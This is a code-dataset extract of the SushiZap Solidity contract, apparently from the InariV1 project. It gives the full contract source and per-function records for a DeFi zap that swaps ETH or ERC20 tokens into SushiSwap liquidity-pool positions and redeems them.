@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1)
{
ISushiSwap sushiPair = ISushiSwap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) internal returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, 'No eth sent');
return msg.value;
}
require(amount > 0, 'Invalid token amount');
require(msg.value == 0, 'Eth sent with token');
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) private returns (uint256) {
IERC20(_ToUnipoolToken0).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).safeApprove(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).safeApprove(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
// returning residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// returning residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) private returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.safeApprove(address(_swapTarget), 0);
fromToken.safeApprove(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.safeBalanceOfSelf();
uint256 initialBalance1 = token1.safeBalanceOfSelf();
require(approvedTargets[_swapTarget], 'Target not Authorized');
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, 'Error Swapping Tokens 1');
uint256 finalBalance0 = token0.safeBalanceOfSelf().sub(
initialBalance0
);
uint256 finalBalance1 = token1.safeBalanceOfSelf().sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, 'Swapped to Invalid Intermediate');
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) private returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
function zapOut(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
function zapOutBalance(
address pair,
address to
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransfer(pair, IERC20(pair).safeBalanceOfSelf()); // transfer local balance to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
} | /// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2/0x5abfbE56553a5d794330EACCF556Ca1d2a55647C). | NatSpecSingleLine | transferGovernance | function transferGovernance(address account) external {
require(msg.sender == governor, '!governor');
governor = account;
}
| /// @dev This function transfers `governor` role. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
1614,
1765
]
} | 11,769 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | SushiZap | contract SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address public governor; // SushiZap governance address for approving `_swapTarget` inputs
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9
ISushiSwap constant sushiSwapRouter = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; // ~ placeholder for swap deadline
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
/// @dev swapTarget => approval status.
mapping(address => bool) public approvedTargets;
event ZapIn(address sender, address pool, uint256 tokensRec);
constructor() {
governor = msg.sender;
approvedTargets[wETH] = true;
}
/// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper.
function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {
require(msg.sender == governor, '!governor');
require(targets.length == isApproved.length, 'Invalid Input length');
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
/// @dev This function transfers `governor` role.
function transferGovernance(address account) external {
require(msg.sender == governor, '!governor');
governor = account;
}
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1)
{
ISushiSwap sushiPair = ISushiSwap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) internal returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, 'No eth sent');
return msg.value;
}
require(amount > 0, 'Invalid token amount');
require(msg.value == 0, 'Eth sent with token');
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) private returns (uint256) {
IERC20(_ToUnipoolToken0).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).safeApprove(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).safeApprove(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
// returning residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// returning residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) private returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.safeApprove(address(_swapTarget), 0);
fromToken.safeApprove(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.safeBalanceOfSelf();
uint256 initialBalance1 = token1.safeBalanceOfSelf();
require(approvedTargets[_swapTarget], 'Target not Authorized');
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, 'Error Swapping Tokens 1');
uint256 finalBalance0 = token0.safeBalanceOfSelf().sub(
initialBalance0
);
uint256 finalBalance1 = token1.safeBalanceOfSelf().sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, 'Swapped to Invalid Intermediate');
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) private returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
function zapOut(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
function zapOutBalance(
address pair,
address to
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransfer(pair, IERC20(pair).safeBalanceOfSelf()); // transfer local balance to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
} | /// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2/0x5abfbE56553a5d794330EACCF556Ca1d2a55647C). | NatSpecSingleLine | zapIn | function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
| /**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
2346,
3143
]
} | 11,770 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | SushiZap | contract SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address public governor; // SushiZap governance address for approving `_swapTarget` inputs
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9
ISushiSwap constant sushiSwapRouter = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract
uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; // ~ placeholder for swap deadline
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
/// @dev swapTarget => approval status.
mapping(address => bool) public approvedTargets;
event ZapIn(address sender, address pool, uint256 tokensRec);
constructor() {
governor = msg.sender;
approvedTargets[wETH] = true;
}
/// @dev This function whitelists `_swapTarget`s - cf. `Sushiswap_ZapIn_V4` (C) 2021 zapper.
function setApprovedTargets(address[] calldata targets, bool[] calldata isApproved) external {
require(msg.sender == governor, '!governor');
require(targets.length == isApproved.length, 'Invalid Input length');
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
/// @dev This function transfers `governor` role.
function transferGovernance(address account) external {
require(msg.sender == governor, '!governor');
governor = account;
}
/**
@notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens.
@param to Address to receive LP tokens.
@param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether).
@param _pairAddress The SushiSwap pair address.
@param _amount The amount of fromToken to invest.
@param _minPoolTokens Reverts if less tokens received than this.
@param _swapTarget Excecution target for the first swap.
@param swapData Dex quote data.
@return Amount of LP bought.
*/
function zapIn(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, 'ERR: High Slippage');
emit ZapIn(to, _pairAddress, LPBought);
IERC20(_pairAddress).safeTransfer(to, LPBought);
return LPBought;
}
function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1)
{
ISushiSwap sushiPair = ISushiSwap(_pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _pullTokens(address token, uint256 amount) internal returns (uint256 value) {
if (token == address(0)) {
require(msg.value > 0, 'No eth sent');
return msg.value;
}
require(amount > 0, 'Invalid token amount');
require(msg.value == 0, 'Eth sent with token');
// transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
return amount;
}
function _performZapIn(
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapData
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(
address _ToSushipoolToken0,
address _ToSushipoolToken1
) = _getPairTokens(_pairAddress);
if (
_FromTokenContractAddress != _ToSushipoolToken0 &&
_FromTokenContractAddress != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
_FromTokenContractAddress,
_pairAddress,
_amount,
_swapTarget,
swapData
);
} else {
intermediateToken = _FromTokenContractAddress;
intermediateAmt = _amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) = _swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought
) private returns (uint256) {
IERC20(_ToUnipoolToken0).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken1).safeApprove(address(sushiSwapRouter), 0);
IERC20(_ToUnipoolToken0).safeApprove(
address(sushiSwapRouter),
token0Bought
);
IERC20(_ToUnipoolToken1).safeApprove(
address(sushiSwapRouter),
token1Bought
);
(uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter
.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
// returning residue in token0, if any
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
// returning residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address _pairAddress,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) private returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
IERC20 fromToken = IERC20(_fromTokenAddress);
fromToken.safeApprove(address(_swapTarget), 0);
fromToken.safeApprove(address(_swapTarget), _amount);
}
(address _token0, address _token1) = _getPairTokens(_pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.safeBalanceOfSelf();
uint256 initialBalance1 = token1.safeBalanceOfSelf();
require(approvedTargets[_swapTarget], 'Target not Authorized');
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, 'Error Swapping Tokens 1');
uint256 finalBalance0 = token0.safeBalanceOfSelf().sub(
initialBalance0
);
uint256 finalBalance1 = token1.safeBalanceOfSelf().sub(
initialBalance1
);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, 'Swapped to Invalid Intermediate');
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) private returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
function zapOut(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
function zapOutBalance(
address pair,
address to
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransfer(pair, IERC20(pair).safeBalanceOfSelf()); // transfer local balance to `pair`
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
} | /// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2/0x5abfbE56553a5d794330EACCF556Ca1d2a55647C). | NatSpecSingleLine | _token2Token | function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) private returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).safeApprove(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
| /**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
